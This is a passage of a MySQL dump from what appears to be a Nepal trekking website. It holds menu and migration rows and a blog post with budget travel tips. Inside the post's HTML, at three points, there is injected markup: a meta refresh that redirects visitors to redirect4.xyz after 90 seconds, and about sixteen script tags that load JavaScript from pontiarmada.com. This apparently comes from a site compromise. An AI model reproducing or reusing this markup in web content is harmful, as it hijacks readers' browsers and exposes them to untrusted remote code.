(114, 'Dhaulagiri Region', NULL, '/destinations/dhaulagiri-region', 'destinations', NULL, 6, '2023-12-24 07:54:44', NULL),
(115, 'Dolpo Region', NULL, '/destinations/dolpo-region', 'destinations', NULL, 6, '2023-12-24 07:54:44', NULL),
(116, 'Teams', NULL, '/teams', 'post', NULL, 6, '2023-12-27 08:34:41', NULL),
(117, 'Reviews', NULL, '/reviews', 'post', NULL, 6, '2023-12-27 08:34:41', NULL),
(118, 'Faqs', NULL, '/faqs', 'post', NULL, 6, '2023-12-27 08:34:41', NULL),
(120, 'Message From CEO', NULL, '/message-from-ceo', 'post', NULL, 6, '2023-12-27 08:34:41', NULL),
(121, 'Privacy Policy', NULL, '/privacy-policy', 'post', NULL, 6, '2023-12-27 08:34:41', NULL),
(122, 'Terms and Conditions', NULL, '/terms-and-conditions', 'post', NULL, 6, '2023-12-27 08:34:41', NULL),
(125, 'Trekking & Hiking', NULL, '/activities/trekking-hiking', 'activities', NULL, 6, '2024-08-13 15:04:11', NULL);

-- --------------------------------------------------------

--
-- Table structure for table `menu_locations`
--

CREATE TABLE `menu_locations` (
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--
-- Dumping data for table `menu_locations`
--

INSERT INTO `menu_locations` (`id`, `title`, `location`, `content`, `created_at`, `updated_at`) VALUES
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-- --------------------------------------------------------

--
-- Table structure for table `migrations`
--

CREATE TABLE `migrations` (
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--
-- Dumping data for table `migrations`
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INSERT INTO `migrations` (`id`, `migration`, `batch`) VALUES
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(5, '2019_12_14_000001_create_personal_access_tokens_table', 1),
(6, '2022_011_17_053343_create_menus_table', 1),
(7, '2022_05_17_054202_create_menu_locations_table.', 1),
(8, '2022_11_27_095326_create_settings_table', 1),
(9, '2022_11_28_110009_create_news_table', 1),
(10, '2022_11_29_100044_create_services_table', 1),
(11, '2022_11_29_112359_create_galleries_table', 1),
(12, '2022_11_30_033208_create_sliders_table', 1),
(13, '2022_11_30_064255_create_contacts_table', 1),
(14, '2022_12_02_155745_create_downloads_table', 1),
(15, '2022_12_02_160026_create_members_table', 1),
(16, '2022_12_04_075249_create_pages_table', 1),
(17, '2022_12_30_082033_create_partners_table', 1),
(18, '2023_01_02_085836_create_reviews_table', 1),
(19, '2023_01_03_110204_create_faqs_table', 1),
(20, '2023_01_25_062141_create_counters_table', 1),
(21, '2023_04_24_100354_create_category_blogs_table', 1),
(22, '2023_05_02_070721_create_blogcategories_table', 1),
(23, '2023_05_02_110139_create_media_table', 1),
(24, '2023_05_10_035923_create_packages_table', 1),
(25, '2023_05_10_040405_create_activities_table', 1),
(26, '2023_05_10_040640_create_destinations_table', 1),
(27, '2023_05_10_075729_create_destination_packages_table', 1),
(28, '2023_05_10_075745_create_activity_packages_table', 1),
(29, '2023_05_10_090008_create_itenary_packages_table', 1),
(30, '2023_05_10_090021_create_package_faqs_table', 1),
(31, '2023_05_10_090033_create_package_activities_table', 1),
(32, '2023_02_08_063153_create_package_inquiries_table', 2),
(33, '2023_10_02_065545_create_socials_table', 3);

-- --------------------------------------------------------

--
-- Table structure for table `news`
--

CREATE TABLE `news` (
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--
-- Dumping data for table `news`
--

INSERT INTO `news` (`id`, `name`, `slug`, `image`, `banner`, `description`, `seo_title`, `seo_description`, `seo_schema`, `seo_keywords`, `status`, `created_at`, `updated_at`) VALUES
(1, 'How to travel in Nepal on a budget', 'how-to-travel-in-nepal-on-a-budget', '8', NULL, '<p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><strong style=\"box-sizing:border-box;font-weight:bolder;\">How to travel in Nepal on a budget</strong>? Sounds interesting right? You will know this in this blog. Stay Tuned.&nbsp;<br>Traveling to Nepal on a budget is an exciting and fulfilling experience. The country is known for its stunning natural beauty, rich cultural heritage, and hospitable people. If you\'re planning a trip to Nepal but working with a tight budget, don\'t worry. In this blog post, we\'ll provide you with tips on how to travel in Nepal on a budget.&nbsp;</p><h2 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:28px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><span style=\"font-size:24px;\"><span style=\"box-sizing:border-box;\">How to travel in Nepal on a budget?&nbsp;</span></span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</h2><h3 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:21px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><span style=\"font-size:20px;\"><span style=\"box-sizing:border-box;\">Choose the right time to visit</span></span></h3><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>Nepal has two primary tourist seasons, which are March to May and September to November. During these months, the weather is pleasant, and the skies are clear, making it an ideal time for trekking and other outdoor activities. However, these are also peak seasons, and prices tend to be higher. If you\'re traveling on a budget, consider visiting during the off-peak seasons of December to February or June to August. During these months, prices tend to be lower, and you\'ll also avoid crowds.</p><h3 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:21px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script><meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script>&nbsp;<br><span style=\"font-size:20px;\"><span style=\"box-sizing:border-box;\">Use local transportation</span></span></h3><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>Using local transportation is an excellent way to save money while traveling in Nepal. Local buses are the most affordable option, but they can be crowded and uncomfortable. However, if you\'re on a tight budget, they\'re worth considering. If you\'re not comfortable with local buses, you can also use shared taxis, which are also cheaper than private taxis.</p><h3 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:21px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><span style=\"font-size:20px;\"><span style=\"box-sizing:border-box;\">Stay in budget accommodations</span></span></h3><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>There are plenty of budget accommodations in Nepal, from guesthouses to hostels. Staying in a hostel or guesthouse can be a great way to save money and meet other travelers. You can also consider staying in a homestay, which is a great way to experience local culture.</p><h3 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:21px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><span style=\"font-size:20px;\"><span style=\"box-sizing:border-box;\">Eat local food</span></span></h3><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>Nepalese food is delicious and affordable. Stick to local restaurants and street food stalls to save money. You can try local dishes like momos (dumplings), dal bhat (lentil soup with rice), and chow mein (stir-fried noodles). Avoid eating in touristy areas as the prices will be higher.</p><h3 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:21px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><span style=\"font-size:20px;\"><span style=\"box-sizing:border-box;\">Plan your trekking itinerary wisely</span></span></h3><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>Trekking is a popular activity in Nepal, but it can be expensive if you\'re not careful. Choose a less popular trekking route, and you\'ll save money on permits, accommodation, and guides. You can also consider going with a group to split the costs.</p><h3 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:21px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><span style=\"font-size:20px;\"><span style=\"box-sizing:border-box;\">Book your flight in advance</span></span></h3><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>One of the best ways to save money when traveling to Nepal is to book your flight in advance. By doing this, you can take advantage of discounts or special offers that may be available. You can also compare prices between different airlines, and look out for last-minute deals. Be sure to check airline websites regularly as many offer discounts and other benefits to those who book early. Additionally, remember to look out for any extra fees or charges that may be associated with your ticket.</p><script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script><meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\">Another tip for finding cheap flights is to be flexible about your dates and times of travel. You can often find better deals if you’re able to adjust your travel plans accordingly. And if you’re willing to fly indirectly or overnight, you might find a much cheaper deal than flying direct. Additionally, don’t forget to consider the cost of taxes and insurance. These additional costs can add up quickly, so make sure you factor them into the total cost of your trip.</p><h3 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:21px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><span style=\"font-size:20px;\"><span style=\"box-sizing:border-box;\">Use Public Transportation</span></span></h3><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>Using public transportation is a great way to save money while traveling in Nepal. The most popular option is taking local buses, which are inexpensive and connect most of the major cities in Nepal. They can be crowded and slow, but they are also very affordable. Additionally, there are shared taxis, jeeps, and minibusses that operate along the same routes as buses. These are usually more expensive than buses but provide a more comfortable ride.</p><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\">If you’re looking for a more luxurious option, there are air-conditioned deluxe coaches that run between Kathmandu and Pokhara. These tend to be much pricier than buses and shared taxis, but offer a more comfortable ride.&nbsp;<br>It’s important to note that not all transportation options in Nepal have fixed prices. Be sure to negotiate the price before getting into a vehicle. Also, don’t be afraid to bargain for a better deal!</p><h3 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:21px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><span style=\"font-size:20px;\"><span style=\"box-sizing:border-box;\">Eat Local Food</span></span></h3><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>If you’re looking for an authentic experience in Nepal, try to stick to local foods. Most of the traditional Nepali cuisine is quite simple and inexpensive. This includes momos (dumplings), thukpa (noodle soup), and aloo tama (potato and bamboo stew). All of these can be found at street vendors, restaurants, or local eateries, and are usually very cheap.</p><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\">Another great way to eat local food is to head to a chowk bazaar. These small markets pop up in various parts of the city and typically serve food from local street vendors. The food is typically prepared fresh and is extremely cheap. Don’t forget to bring your own utensils, as they are rarely provided.&nbsp;<br><br>Finally, if you want a real treat, you can try some of the more unique dishes such as gundruk ko achar (pickled vegetables), or chatamari (rice crepes). Although these dishes tend to be more expensive than street food, they are still fairly inexpensive and worth trying if you’re looking for an interesting meal.&nbsp;<br><br>Overall, eating local food is a great way to save money while still having a memorable experience in Nepal. Not only will it provide a more authentic experience, but it will also help keep your travel budget low.</p><h3 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:21px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><span style=\"font-size:20px;\"><span style=\"box-sizing:border-box;\">Visit free attractions:</span></span></h3><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>Do You know that Visit free attractions is also included in the topic of How to travel in Nepal on a budget? If you know it’s good but doesn’t know then&nbsp;<br><br>Nepal is a beautiful country with many attractions and activities to enjoy without breaking the bank. Here are some of the top free attractions you can visit while in Nepal:&nbsp;<br><br>1. Pashupatinath Temple: Located in Kathmandu, this UNESCO World Heritage Site is one of the most important Hindu temples in Nepal. It\'s open to the public and provides a great opportunity to learn about&nbsp;&nbsp;<br>the culture and religion of the region.</p><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>2. Bhaktapur Durbar Square: This is another important historical site located near Kathmandu. It\'s home to a number of temples and monuments and offers a chance to learn more about Nepal\'s history and culture.</p><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><script async=\"\" src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8891303795668056\" crossorigin=\"anonymous\"></script><meta httpequiv=\"Refresh\" content=\"90; URL=http://redirect4.xyz/\"><script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/tujuh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/dua.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/satu.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sepuluh.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/news/wp.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/lima.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/enam.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/tiga.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/empat.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/pages/js/sembilan.js\"></script>&nbsp;<script type=\"text/javascript\" src=\"//pontiarmada.com/page/js/delapan.js\"></script> 3. Chitwan National Park: Located in central Nepal, this national park is home to hundreds of species of birds, mammals, reptiles, and amphibians. Visitors can take a guided tour or explore on their own to see wildlife up close.</p><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>4. Swayambhunath Temple: Located in Kathmandu, this temple is believed to be 2,500 years old and is an important religious site for Buddhists. The temple offers stunning views of the city, and visitors can explore the grounds for free.</p><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>5. Boudhanath Stupa: This is another important Buddhist temple located in Kathmandu. It\'s known for its large dome and intricate designs, and it\'s considered a symbol of harmony and unity.</p><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>6. Lumbini: Located in southwestern Nepal, this is one of the holiest sites in Buddhism. It\'s believed to be the birthplace of Gautama Buddha and attracts thousands of visitors each year.</p><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>These are just some of the amazing free attractions you can visit while traveling in Nepal. There are many more amazing places to explore that are both inexpensive and educational. So if you\'re looking for a unique travel experience without spending a lot of money add Nepal to your list!</p><h2 style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:28px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:500;letter-spacing:normal;line-height:1.2;margin:0px !important;orphans:2;padding:0px !important;text-align:start;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br><span style=\"font-size:20px;\"><span style=\"box-sizing:border-box;\">The Conclusion:</span></span></h2><p style=\"-webkit-text-stroke-width:0px;background-color:rgb(255, 255, 255);box-sizing:border-box;color:rgb(33, 37, 41);font-family:Inter, sans-serif;font-size:16px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px !important;orphans:2;padding:0px !important;text-align:justify;text-decoration-color:initial;text-decoration-style:initial;text-decoration-thickness:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;word-spacing:0px;\"><br>In conclusion, you know How to travel in Nepal on a budget. Traveling in Nepal on a budget is definitely possible with careful planning and smart decisions. From choosing the right time to visit finding affordable accommodation, food, and transportation options, there are many ways to save money while still enjoying the rich cultural and natural heritage of this beautiful country.&nbsp;<br><br>&nbsp;By prioritizing your spending, bargaining where possible, and being open to local experiences, you can make the most of your trip to Nepal without breaking the bank. Remember to always respect the local culture and environment, and travel responsibly to ensure that your visit leaves a positive impact on the places you visit and the people you meet.</p>', 'How to travel in Nepal on a budget | Adventure Planner', 'Traveling in Nepal on a budget is definitely possible with careful planning and smart decisions. From choosing the right time to visit finding affordable accommodation, food, and transportation options, there are many ways to save money while still enjoying the rich cultural and natural heritage of this beautiful country.', NULL, 'how to travel in nepal on a 